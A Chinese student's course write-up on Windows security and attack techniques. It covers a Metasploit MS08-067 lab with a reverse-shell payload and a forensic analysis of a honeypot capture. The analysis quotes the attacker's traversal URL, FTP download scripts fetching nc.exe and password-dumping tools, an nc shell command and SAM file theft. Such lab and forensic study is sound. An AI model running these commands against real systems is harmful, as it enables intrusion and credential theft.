20199122 2019-2020-2 《网络攻防实践》第七周作业

20199122 2019-2020-2 《网络攻防实践》第七周作业

1.实践内容

1.1 Windows操作系统基本框架

  • Windows操作系统的基本结构分为:处理器特权模式的操作系统内核和处理器非特权模式的用户空间代码。

  • Windows操作系统内核包括:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码、系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。

  • Windows操作系统内核实现了如下核心机制:进程和线程管理、内存管理机制、文件管理、注册表管理机制、网络机制。

1.2 Windows操作系统的安全体系结构与机制

  • 基于引用监控器模型来实现基本的对象安全模型。例如,引用监控器模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
  • Windows操作系统以安全主体概念来包含所有进行系统资源访问请求的实体对象,包括用户、用户组、计算机,对于每个安全主体,时间上和空间上存在唯一的SID安全标识符。
  • Windows支持本地身份认证和网络远程身份认证,分别对在本地系统登录和远程网络访问的主体进行合法验证。其原理如下图,GINA提取到用户输入的口令信息后,由Winlogon进程移送给LSASS服务。
    • 本地身份认证过程是利用LSASS提供的身份验证服务来进行用户身份的真实性确定
    • 远程身份认证是通过LSASS服务的Netlogon模块主导完成,Netlogon模块与远程Netlogon进行“质询-应答式”验证身份

  • 授权访问机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌。可用whoami /all查看当前用户的访问令牌信息。包括用户SID、所属组的SID以及一些特权信息。

  • Windows对系统中所有需保护的资源都抽象成对象,具体类型包括:文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存等。

  • Windows系统审计策略在本地安全策略中由系统管理员定义。

1.3 Windows远程安全攻防技术

  • 攻击过程:
    • 漏洞扫描测试,发现系统中已存在的已知安全漏洞
    • 查找针对发现漏洞的渗透代码
    • 实施渗透,进行攻击
  • 远程口令猜测与破解攻击:口令暴力破解、基于字典的猜测及中间人身份认证欺骗技术
    • 远程口令猜测
    • 远程口令字交换通信窃听与破解:即窃听网络上的口令交换通信实施破解
    • 防范措施最根本的是提高用户的安全意思,设置较高安全强度的口令
  • 攻击Windows网络服务:一般是针对默认开放端口提供的网络及本地服务。
    • 针对UDP137端口的NetBIOS名字服务、UDP138端口的NetBIOS数字服务、TCP139端口的NetBIOS会话服务的渗透攻击
    • 针对TCP 139及445端口的SMB网络服务的渗透攻击
    • 针对TCP/UDP 135端口的MSRPC网络服务的渗透攻击
    • 针对微软网络服务的远程渗透攻击,如IIS Internet服务、DNS域名服务等
    • 针对第三方网络服务的远程渗透攻击,如提供HTTP服务的Apache、Tomcat等
    • 防范措施最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞

1.4 Windows本地安全攻防技术

  • 攻击者获得Windows受限用户权限后,将尝试获得特权账户,称“提权”,攻击途经主要是DDL注入和破解本地程序安全漏洞。最根本的防范措施是及时给系统打好补丁。
  • 敏感信息的窃取
    • 提取口令密文文件,如利用pwdumpX系统工具
    • 实施口令破解,如L0phtCrack
    • 用户敏感数据的窃取,如用find、findstr、grep等命令实施查找
    • 防范措施:让所有用户,特别是Administratior特权用户选择一个好口令
  • 攻击者窃取完信息后,想长期控制被攻击者,就会消踪灭迹,即将入侵痕迹进行删除或掩盖。
    • 关闭审计功能
    • 清理事件日志
    • 防范措施:将日志记录到不可擦写的CDROM中,或者通过网络传输到安全的日志服务器中,或定期备份。
  • 最后,攻击者会植入远程控制和后门程序,方便下次登录。主要分为:
    • 命令行远程控制,如netcat
    • 图形化远程攻击
    • 防范措施:采用后门检测软件来发现攻击者隐藏的后门程序

2.实践过程

实践一:Metasploit Windows Attacker

任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权

使用kali作为攻击机,IP地址192.168.0.113;windows Metasploitable靶机的ip地址为192.168.0.116

  • 在kali打开metasploit,输入msfconsole,回车后就会进入到控制台界面

  • search 一下 ms08_067漏洞,搜索结果如下图,可得针对该漏洞的渗透攻击模块 再用use exploit/windows/smb/ms08_067_netapi告诉kali 我们将攻击的漏洞

  • 选择攻击负载模块,先用show payloads列举出所有适用的负载模块,包括:远程Shell、执行命令、添加用户、上传并执行程序、下载并执行程序、VNC远程控制等。有效载荷有三种类型 :

    • Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。
    • Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
    • Stages - 是由Stagers模块下载的payload组件。

    Payload是黑客用来与被黑了的系统交互的简单脚本。 使用payload,可以将数据传输到已经沦陷的系统。看到列出的payload可以能帮助我们上传/执行文件。选择3,反向连接。用set PAYLOAD generic/shell_reverse_tcp

  • 配置该渗透攻击模块和攻击负载模块所必须的参数,用set LHOST 192.168.0.113为攻击机kali地址,set RHOST 192.168.0.116为靶机地址,可用show options查看当前参数列表及其默认装置

  • set TARGET 0选择目标操作系统平台,0为自动选择

  • 输入exploit实施渗透攻击,稍微等一会,用ipconfig即可查看到靶机的ip地址,获得靶机的访问权

实践二:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),分析数据源只有包含整个攻击过程的二进制记录文件,从文件中提取和分析攻击的全过程,并回答以下问题。

1.攻击者使用了什么破解工具进行攻击?

2.攻击者如何使用这个破解工具进入并控制了系统?

3.攻击者获得系统访问权限后做了什么?

4.我们如何防止这样的攻击?

5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

  • 验证完整性,然后解压数据,用nstreams工具和snort提供的Session重组功能并逐个分析网络流会话内容。

  • nstreams工具可以分析网络日志文件,给出识别的网络流会话双方的IP,目标端口以及应用协议。nstreams -f snort-0204@0117.log>nstreams.txt,如果没有此工具记得安装sudo apt install nstreams,打开nstream.txt即可查看。

  • 采用snort配置规则,可对网络日志文件的tcp、UDP和ICMP网络会话进行识别和重组,可分析负载中的可打印字符构建重组后的会话内容snort -A console -q -r snort-0204@0117.log -c /etc/snort/snort.conf,可以查看alert文件,出现比较多的时msadcs.dll,这是MDAC RDS控件服务程序,存在已知的安全漏洞。而WEB-IIS Content-Type overflow attempt经查是MSADCS RDS弱点漏洞,WEB-MISC http directory traversal

  • 用wireshark打开二进制文件,·ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106对其进行过滤,发现攻击机经三次握手后,首先访问了靶机的http://lab.wiretrip.net/Default.htm,同时还发现靶机的操作系统为windows NT 5.0

  • 继续往下看,发现GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1,即攻击机在http://lab.wiretrip.net/guest/default.asp进行Unicode攻击并打开了boot.ini,因为“%C0AF”为‘/’的Unicode编码。

  • 继续往下看,发现msadc/msadc.dll的存在,然后追踪编号为149的TCP流,可以发现进行了SQL注入攻击,因为用了select *from customers where city,尝试执行了cmd /c echo werd >> c.\fun命令。根据“!ADM!ROX!YOUR!WORLD!”特征字符串可以查到是msadc2.pl渗透攻击代码发起的攻击

  • 利用Unicode攻击和针对msadc.dll的msadc2.pl渗透攻击,利用微软 IIS 4.0 和 5.0 都存在利用扩展 UNICODE 字元取代"/"和""而能利用"../"目录遍 历的漏洞。%c0%af = / %c1%9c = \,IIS的MDAC 组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于 RDS Datafactory, DataFactory允许使用者从远端执行四项功能,包括:「Query」、「CreateRecordSet」、「ConvertToString」和「SubmitChanges」,其中「Query:查询」功能就是黑客用來入侵的地方。默认情况下, 它允许远程命令发送到 IIS 服务器中,这命令会以设备用户的身份运行,其一般默认情况下是 SYSTEM 用户。

  • 删除过滤条件,继续往下翻,查看编号为182的TCP流可以看到攻击者输入了一串的命令cmd /c echo user johna2k > ftpcom, 继续往下查看TCP流即可得到一连串的命令

    cmd /c echo user johna2k > ftpcom
    cmd /c echo hacker2000 > ftpcom
    cmd /c echo get samdump.dll > ftpcom
    cmd /c echo get pdump.exe > ftpcom
    cmd /c echo get nc.exe > ftpcom
    cmd /c echo get quit > ftpcom
    cmd /c echo ftp -s:ftpcome -n www.nether.net
    

  • 上述命令是创建了一个ftpcom脚本,通过它下载 samdump、pdump、nc工具,同时使用 ftp连接www.nether.net,给出了用户名和密码。可是口令错误,登录失败,没有下载成功。

  • 继续分析TCP追踪流即可知道攻击者做了什么,cmd /c pdump.exe > new.pass,试图运行pdump,破解口令密码,之前没有下载该工具,失败了

  • 然后攻击者重新创建脚本ftpcom2,将破解的口令new pass上传到FTP上,因为口令不正确,登录失败了

  • 总之大概就是攻击者尝试了几次msadc2.pl渗透攻击没有成功,就转向了Unicode攻击,大概在编号991,可以发现他的命令如下,蜜罐主机连接 213.116.251.162 并下载了指定的文件,并通过 nc构建其一个远程 shell 通道cmd1.exe /c nc -l -p 6969 -e cmd1.exe,攻击者连接6969端口获得访问权。
"copy C:\winnt\system32\cmd.exe cmd1.exe"
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"

  • 用条件tcp.port == 6969筛选一下,看看攻击机访问成功后做了什么

  • 运行net session,被拒绝了;然后net users返回该主机的用户列表

  • 查看heh.txt信息后删除,发送了一个echo信息到C盘根目录

  • 查看组用户、本地组用户、都失败了

  • 尝试利用pdump破解口令密码,似乎失败了。攻击者放弃了,删除了samdump和pdump

  • 进入C:\WINNT\repair\ directory执行ridisk 获得SAM口令文件的拷贝,ridisk用来创建紧急修复磁盘。攻击者输了几次命令都是错的,正确的是ridsk /s-, 将其保存在har.txt文件,打印出来

  • 攻击者重新建立了6968端口,将SAM文件拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但因为锁定没有成功。攻击者把其他盘符检查了一遍之后,退出了这个连接。

  • 攻击者启动了6868端口进行Unicode攻击,对exploit目录很感兴趣,攻击者的ip地址变为202.85.60.156,创建了个test.txt文件,修改了IWAM账户的口令

  • 然后搜索字符串test,发现有很多其他的ip地址,如213.46.45.28;213.48.120.242等ip地址访问,可能是在向朋友炫耀攻击成功吧。

  • 继续往下翻,大概在编号五千多左右,发现攻击者上传了一个压缩包

  • 在编号为5766的HTTP流发现用Unicode攻击删除了ftpcom脚本

  • 防范措施

    • 为漏洞打补丁
    • 禁用用不着的RDS服务
    • 防火墙封禁网络内部服务器发起的连接
    • 为 web server 在单独的文件卷上设置虚拟根目录
    • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
    • 使用 IIS Lockdown 和 URLScan 等工具加强 web server
  • 知道是蜜罐,如下图是攻击者留下的信息

实践三:Windows系统远程渗透攻击和分析

任务:

  • 攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。

  • 防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。

  • 如何获得控制权在实践一已详细解答,因为我的防守方用的是windows,没装wireshark,所以我在攻击方查看数据包,攻击者IP地址:192.168.0.113,源端口为4651,防守方的IP地址:192.168.0.116,端口为445。

  • 经TCP三次握手后,发送了许多SMB包,猜测为MS08-067漏洞,是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。

  • 可查看到本地执行的命令输入信息

3.学习中遇到的问题及解决

  • 问题1:NT报告分析太难了,比较长了
  • 问题1解决方案:没有解决,只能慢慢看

4.实践总结

除了学会攻击和防御,如何分析报告也很重要,但是我似乎比较菜,看了好久才懂了一点点,照着案例来也比较慢,开始只看了TCP流,错过了一些信息,要TCP流和HTTP流交叉看。

参考资料

posted @ 2020-04-15 08:44  20199122肖玲  阅读(235)  评论(0编辑  收藏  举报